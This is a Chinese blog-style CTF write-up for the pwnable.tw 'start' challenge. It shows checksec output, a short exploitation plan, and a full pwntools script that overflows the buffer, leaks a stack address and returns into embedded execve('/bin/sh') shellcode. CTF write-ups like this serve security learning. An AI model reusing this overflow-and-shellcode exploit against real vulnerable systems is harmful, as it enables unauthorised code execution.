首页 > 其他分享 >pwnable_start

pwnable_start

时间:2024-01-25 17:11:23浏览次数:22  
标签:addr shellcode pwnable start io buf payload

pwnable_start

image-20240125160222828

bamuwe@qianenzhao:~$ checksec start
[*] '/home/bamuwe/start'
    Arch:     i386-32-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x8048000)

保护全关,但不能看伪代码,只能看汇编

思路:

  1. 通过溢出泄露buf(输入数据)地址
  2. 跳转到buf地址,写入shellcode
  3. 跳转到buf地址,执行shellcode拿到shell
from pwn import *
context.log_level = 'debug'
context.arch = 'i386'
context.os = 'linux'
io = gdb.debug('./start')
padding = b'A'*0x14
buf_addr = 0x8048087
shellcode=b"\x31\xc0\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\xb0\x0b\xcd\x80"

def leak():
    global buf_addr
    payload = padding+p32(buf_addr)

    io.sendafter( b"Let's start the CTF:",payload)
    buf_addr = u32(io.recv(4))
    print('buf_addr->',hex(buf_addr))
    return 0

def pwn():
    global shellcode
    payload = padding+p32(buf_addr+0x14)+shellcode
    io.send(payload)
    return 0

leak()
pwn()
io.interactive()

需要注意的是,这里buf空间长度不足,所以需要另外找一个shellcode而不能使用直接生成的shellcode,直接生成的shellcode长度会在$21~60$之间

标签:addr,shellcode,pwnable,start,io,buf,payload
From: https://www.cnblogs.com/bamuwe/p/17987550

相关文章

  • Web server failed to start. Port 8080 was already in use.
    场景上午在启动程序时,发现端口被占用,启动失败了***************************APPLICATIONFAILEDTOSTART***************************Description:Webserverfailedtostart.Port8080wasalreadyinuse.Action:Identifyandstoptheprocessthat'slisteni......
  • Docker启动Nacos报错:Nacos Server did not start because dumpservice bean construct
    一、表象重启服务器之后Docker运行Nacos容器,启动成功,但是外网无法访问。查看了一下Nacos启动日志(dockerlogsnacos容器名)二、分析很明显是数据库配``置问题。。如果是数据库配置的问题,可以着重检查以下信息尤其是MySQL内网Host,查询方式见Docker安装Nacos三、解决我已......
  • fail: Microsoft.Extensions.Hosting.Internal.Host[11] Hosting failed to sta
    docker发布.net8项目#使用.NET运行时镜像作为最终镜像FROMmcr.microsoft.com/dotnet/runtime:8.0#设置工作目录WORKDIR/app#复制项目文件到工作目录COPY./appENVASPNETCORE_URLS="http://*:8003"ENVASPNETCORE_HTTP_PORTS=""#设置入口点ENTRYPOINT["dotn......
  • Docker官方教程 Docker Getting Started Tutorial
     https://github.com/docker/getting-started 在线阅读:https://docs.docker.com/get-started/ https://blog.csdn.net/ayiya_Oese/article/details/114304669 FROMnode:18-alpineWORKDIR/appCOPY..RUNyarninstall--productionCMD["node",&qu......
  • 解决npm run start 和 node.js src/main.js 引用资源文件路径不一致问题
    解决npmrunstart和node.jssrc/main.js引用资源文件路径不一致问题问题描述写了一个node.js连接sqlite3数据库的项目,因为数据库sqlite3.db文件相对于根目录和src/main.js路径不一致,打包时总有一种方法失败分析原因数据库sqlite3.db文件是相对控制台运行命令的相对路径npmrun......
  • Virtualbox - VM can't start after OS update
      Executing'modprobevboxdrv'didn'twork:zzh@ZZHPC:~$sudomodprobevboxdrvmodprobe:FATAL:Modulevboxdrvnotfoundindirectory/lib/modules/6.5.0-14-generic HadtoremoveVirtualbox6.1andinstallVirtualbox7.0:zzh@ZZHPC:~......
  • 2024-01-10:用go语言,给你一个下标从 0 开始的二维整数数组 pairs 其中 pairs[i] = [sta
    2024-01-10:用go语言,给你一个下标从0开始的二维整数数组pairs其中pairs[i]=[starti,endi]如果pairs的一个重新排列满足对每一个下标i(1<=i<pairs.length)都有endi-1==starti,那么我们就认为这个重新排列是pairs的一个合法重新排列。请你返回任意一个pairs的......
  • 如何在Spring Boot中创建和自定义Starter
    引言SpringBoot提供了一种简化Spring应用开发的方式,并通过提供大量的starter依赖来进一步减少配置。然而,有时候我们需要根据特定需求来创建自定义的starter。本文将详细介绍如何创建和自定义SpringBootstarter。创建自定义Starter的步骤步骤1:创建项目结构创建一个Maven项目,并......
  • 无涯教程-Java 正则 - Matcher int regionStart函数
    java.util.regex.Matcher.regionStart()匹配器区域的起始索引。intregionStart()-声明publicintregionStart()intregionStart()-示例下面的示例显示java.util.regex.Matcher.regionStart()方法的用法。packagecom.learnfk;importjava.util.regex.Matcher;imp......
  • 无涯教程-Java 正则 - Matcher boolean find(int start)函数
    java.time.Matcher.find(intstart)方法将重置匹配器,然后尝试从指定的索引开始查找与模式匹配的输入序列的下一个子序列。booleanfind(intstart)-声明以下是java.time.Matcher.find(intstart)方法的声明。publicbooleanfind(intstart)start  - 输入字符串中的......